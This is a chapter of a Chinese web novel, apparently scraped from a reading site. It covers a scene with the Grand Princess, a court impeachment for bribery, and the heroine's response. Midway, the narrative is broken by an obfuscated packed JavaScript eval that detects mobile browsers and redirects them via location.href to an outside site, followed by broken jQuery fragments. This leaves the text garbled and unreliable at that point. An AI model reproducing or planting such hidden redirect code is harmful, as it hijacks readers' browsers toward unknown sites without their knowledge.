43. 第四十三章

作品:《穿书成权贵私生女

    到了正院门口,汪嬷嬷打开门,看到华九思的一刻,惊喜从眼眶里溢了出来。


    华九思却止了步:“劳烦嬷嬷引路,昭宁候想见长公主殿下。”


    芙昭晃悠悠地点头笑:“很冒昧啦。”


    长公主一向纵容芙昭,汪嬷嬷侧过身子,就有一名侍女上来搀扶芙昭。


    汪嬷嬷看向华九思:“大人不进去吗?”


    华九思后退一步:“男女有别。”


    汪嬷嬷的眼神灰暗了下去。


    长公主不喜奢华,府内布置简约大气。


    芙昭刚走到内寝门口,门就被从内部拉开。长公主散着青丝,披风挂在肩上,月华之下,增添了几分温柔。


    她拉过芙昭的手,吩咐汪嬷嬷准备一碗醒酒汤:“今儿是长安侯府的丫头成亲,你怎么反倒把自己喝醉了。”


    芙昭乖顺地跟着她进屋,坐到温暖的塌上,才委屈巴巴地道:“我就是想借着酒气来找您。”


    长公主笑道:“说的我平日对你多严厉似的。”


    “那倒没有,就是不知道该怎么开口。”芙昭瞄了一眼长公主,"我既心疼您,又替他难过,就很纠结。"


    长公主挥手让侍女退下:“他怎么说的?”


    听完芙昭的叙述,长公主抿了一口温水:“没错,是我不要他的。”


    芙昭怒道:“都是那个渣男的错,他一死了之,留下你们互相折磨。”


    长公主竟笑了:“市井之渣,难登大雅,你这个描述倒是贴切。酒后忌怒,当心伤身。”


    她把醒酒汤推到芙昭面前,芙昭饮了口。


    初尝如黄连入口,苦得人心尖儿一颤,但片刻后就仿佛喉间有冷泉淌过,待津液回甘,恍觉松风入怀。


    长公主看着她,温柔里闪过复杂:“你也觉得我错了?”


    芙昭猛摇头:“错的只有渣男,你们都是受害者。正因如此,我才辗转难眠,殿下,我舍不得见你们这样……但又说不出口来劝和。”


    “傻丫头。”长公主轻轻把她拥入怀中,"人生哪儿有圆满一说?我也觉得自己没错,但失去了就是失去了,回不来的。"


    芙昭突然有些想哭。


    长公主拿帕子沾了沾她那将坠未坠的泪滴:“陛下都收你为义女了,你以后也唤我姑母吧,亲近些。”


    芙昭轻声嘟囔:“您对我这样好,总觉得是我抢了他的母亲。”


    长公主忍俊不禁:“这就是缘分吧,我等闲叫不出口儿子,他也绝不会称我母亲,沾了你的关系,也算有点亲缘。”


    “别想那么多了,早些回去歇着。”


    芙昭看了眼她塌前垒成几堆的折子,叮嘱道:“那您也早点休息,甭管旁人怎么想,您好好的,他才能安心。”


    看着芙昭离开,长公主低垂眼睑。


    汪嬷嬷陪了她半辈子,怎么会瞧不出她此刻的心思?便低声道:“殿下要相信侯爷,公子心里定是有你的。”


    长公主想起了在扬州惊心动魄的那一幕,那一声"我的儿"嘶吼出来,她也认清了自己的内心。


    难过,愧疚,也有后悔。


    但她清楚地知道,若再来一次,以她彼时被伤透了的心,也还是会选择对华九思避而不见。


    不强求,不奢望。


    长公主阖上双眸:“惟愿他们二人白首相携。”


    她此生的遗憾,由芙昭与华九思补足,也算是另一种意义上的圆满。


    回侯府的马车上,芙昭的酒劲儿已经散了。


    她揽着华九思的胳膊,黏糊糊地道:“你真好,都不怪我。”


    华九思低头吻住她的唇,细细绵绵的吻里,传出了满足的喟叹:“阿昭啊,谢谢你……”


    谢谢你,终于让我知道,我也值得被珍惜,再也不怕被抛弃。


    明日要上早朝,芙昭没再任性,简单洗漱后就睡了。


    次日,寅时三刻的午门外,朝臣们的朱紫衣袍在晨雾中若隐若现。


    芙昭揉了揉发涩的眼角,假期综合征真让她恨不得现在就跑回去睡个回笼觉。


    裴无名瞧她困倦,往前走了走,替她隔开了同僚们无意义的寒暄。


    偏偏盛京府尹魏鸿凑了过来,睁眼说瞎话地恭维:"侯爷今日气色真好。"


    芙昭打了个哈欠:“魏大人不用没天硬聊。”


    缓缓开启的午门拯救了魏鸿的尴尬。


    太极殿里,随着长公主和太子的到来,元泰帝也很快就坐到了龙椅上。


    芙昭浅浅打了几个招呼,缩在裴无名和英国公身后,原本是打算摸鱼的。


    议完河工拨款,新上任的廖御史捧着玉笏出列。


    他瘦削的脊背绷得像张弓,声音却清亮得刺耳:"臣弹劾吏部考功司郎中赵荃娘,借考绩之便收受贿赂,私卖官职!"


    朝堂霎时静得能听见铜漏滴水声。


    芙昭皱眉,困意瞬间消散。


    赵荃娘受贿?三日前她与赵荃娘在城南茶楼闲聊,赵荃娘连茶博士多找的五个铜板都要追出去归还。


    她怎么可能受贿!


    "廖御史可有实证?"元泰帝的声音自龙椅上传来。


    "现有五份供状在此。"廖御史从袖中取出卷帛书,"赵郎中每逢月末便着小厮往平康坊送信,收信人乃京城最大牙行的……"


    "等等!"芙昭跨出队列,"敢问廖大人,这五人所补何职?"


    廖御史顿了片刻:“虽是九品文吏,但……”


    芙昭嗤笑道:“廖大人可知这九品文吏月俸几何?”


    她撇了眼供状:“这么说吧,若你所言是真,赵郎中贪的这一千两,他们一辈子都不够赚的。”


    左都御史付阳突然轻笑:“昭宁候此言差矣,文吏位卑责重,这些人又不靠月俸过活,若是运转得当,哪个不能给家族攫取更多金银?”


    “当然。”付阳笑了笑,"昭宁候与赵郎中关系匪浅,臣自然能理解。"


    芙昭皱眉,最烦这种阴阳怪气,软刀子杀人。


    身为吏部尚书的裴无名忽然轻咳了一声:"赵郎中半年来批阅的任免文书共四百三十二件,无一不经我手。"


    这是今日他第一次开口,声如古井无波,却是表明了自己信任下属的态度。


    付阳不跟裴无名硬刚,直接朝着龙椅捧起玉笏:“陛下,千里之堤溃于蚁穴,防微杜渐啊。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276744|163185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    元泰帝轻叩龙椅扶手,半晌后下了决断:"着隐鳞卫协同都察院查办,赵荃娘即日起停职待审。"


    “陛下!”


    芙昭提裙便跪:"臣请旨协查此案。"


    付阳立刻反对:“怕会有失公允!”


    芙昭低头。


    元泰帝抬手:“昭宁侯不得参与此案,退朝。”


    退朝时天光已大亮。


    华九思走了过来,低声道:“别担心,有我在,她不会蒙冤。”


    芙昭点头:“我知道,我是故意的。”


    如果她不请旨,难保都察院不会以华九思与她关系密切,要求隐鳞卫也置身事外。


    芙昭见裴无名走了过来,她问:“我现在不能见荃娘?依着现在的证据,她能在府中候审吗?还是得去诏狱?”


    裴无名看了眼华九思。


    华九思安慰她:“还不到下诏狱的地步,但按大昌律,先生也得回避。”


    芙昭叹了口气:“那我回家等消息。”


    时间紧迫,几人没谈几句,华九思就亲去都察院拿卷宗,芙昭也上了马车。


    周遭安静了下来,芙昭立刻就问全知大大:什么情况?是有人要陷害荃娘吗?冲着谁来的?难不成又有什么大阴谋?


    全知大大回答:其实她也不能算冤枉。


    芙昭摇头:“不可能,她可是赵荃娘。”


    一个从地狱里爬出来的女人,死过一次,好不容易抓住命运的一丝转机,恨不得用尽每一分力气去做个好官,她怎么可能受贿!


    全知大大道:这件事其实很简单,赵荃娘虽然不认爹,但赵举人却借着女儿的名号吹牛,被人捧得高了,膨胀了,也就收钱了。


    芙昭觉得不对劲:“赵举人连赵府的门都进不去,怎么去左右文吏任命?这说不通啊。”


    全知大大解惑:障眼法罢了,牙行的人门道多,借了他的名头,规矩是事成后再收钱,总有几个能歪打正着的。


    芙昭忍不住爆了句粗口,赵荃娘在吏部拼死拼活,连命都快搭进去了,没想到这个老不死的爹还在敲骨吸髓。


    即使最后能证明赵荃娘全不知情,但也难逃失察之罪,毕竟当初赵举人只是把赵荃娘赶出了门,礼法上,他还是赵荃娘的亲爹。


    马车辚辚地驶近昭宁候府。


    侯府门前,一名青衣读书人见到芙昭走下马车,冲着她就扑了过来。


    绵风一脚把他踢翻,怒喝:“大胆!”


    读书人不顾胸口的剧痛,爬到离芙昭不远处,声泪俱下:“求侯爷救我阿姐,隐鳞卫把赵府围了,我,我不知道出了什么事,只能来求侯爷!”


    说着,他"哐哐"磕头,额头瞬间红肿了起来。


    芙昭俯下身子看他:“你就是赵文成?”


    赵文成是赵荃娘的幼弟,当初赵荃娘的母亲为了生儿子,不知道吃了多少药,受了多少罪,生下赵文成后身子就一直不好。


    赵家贫,为了给母亲买些好药续命,赵荃娘才嫁入了魔窟。最后母亲没留住,她也差点儿魂归河底。


    赵荃娘跟芙昭提过几次这个弟弟,但每每提及,都无语凝噎,仿佛有莫大的伤心难以启齿。